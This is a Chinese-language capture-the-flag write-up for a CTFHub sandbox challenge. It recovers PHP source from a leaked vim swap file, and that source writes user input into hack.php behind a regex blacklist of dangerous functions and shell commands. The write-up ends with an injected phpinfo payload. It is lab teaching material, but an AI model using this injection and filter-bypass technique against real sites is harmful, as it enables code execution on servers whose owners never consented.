复现环境

https://www.ctfhub.com/#/challenge

考察知识点

代码审计
正则表达式绕过

解题分析

访问robots.txt发现提示 1ndexx.php

view-source:http://challenge-aea15f209493c304.sandbox.ctfhub.com:10800/robots.txt

robots.txt

直接访问不到，需要访问vim的保存的缓冲类型文件.swp，访问之后获取到源码。

view-source:http://challenge-aea15f209493c304.sandbox.ctfhub.com:10800/.1ndexx.php.swp

.1ndexx.php.swp

把关键代码粘贴出来看一下运行流程

打开flag.php读取文件内容
打开hack.php文件，获取code参数
正则匹配危险函数
字符串长度不能超过33
将code参数的内容写入hack.php
将flag.php内容写入hack.php

<?php
#Really easy...
$file=fopen("flag.php","r") or die("Unable 2 open!");
$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));
$hack=fopen("hack.php","w") or die("Unable 2 open");
$a=$_GET['code'];
if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
 die("you die");
}
if(strlen($a)>33){
 die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);
fclose($file);
fclose($hack);
?>

测试：输出phpinfo()，phpinfo不是过滤函数，传入之后访问hack.php可利用成功

http://challenge-aea15f209493c304.sandbox.ctfhub.com:10800/index.php?code=%3C?=phpinfo();?%3E